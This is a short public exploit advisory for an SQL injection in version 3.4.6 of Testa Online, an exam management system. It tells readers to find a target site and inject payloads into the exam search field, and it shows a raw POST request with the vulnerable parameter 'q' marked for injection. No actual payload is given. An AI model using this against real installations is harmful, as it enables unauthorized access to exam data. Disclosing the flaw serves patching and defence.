# Exploit Title: Testa Online - (V 3.4.6 ) SQL Injection
# Date: 2021-07-09
# Exploit Author: Aryan Chehreghani
# Team Members: Sorna , m4s9b8 , Parsa Alpha
# Vendor Homepage: https://testa.cc
# Version: v3.4.6
# Tested on: Windows/Linux
# CVE: N/A
.:: Description ::.
Testa Helps You To make Online Exams.
.:: Proof Of Concept (POC) ::.
Step 1 - Find Your Target Using Testa - Online Test Management System.
Step 2 - Click on List And Search Exams.
Step 3 - Inject Your Payloads in Search Field
# POC - SQLi
# Parameters : [q]
# POST Method
POST / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Cyberfox/52.9.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: localhost Cookie: PHPSESSID=7nscsfidchmm2rq6lqcd8c4a23; testa_user2=1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 25
p=1&q=[SQL Inject Here]
=============================================
TAPESH DIGITAL SECURITY TEAM IRAN T.ME/ICTUS_TM | تیم امنیت سایبری تپش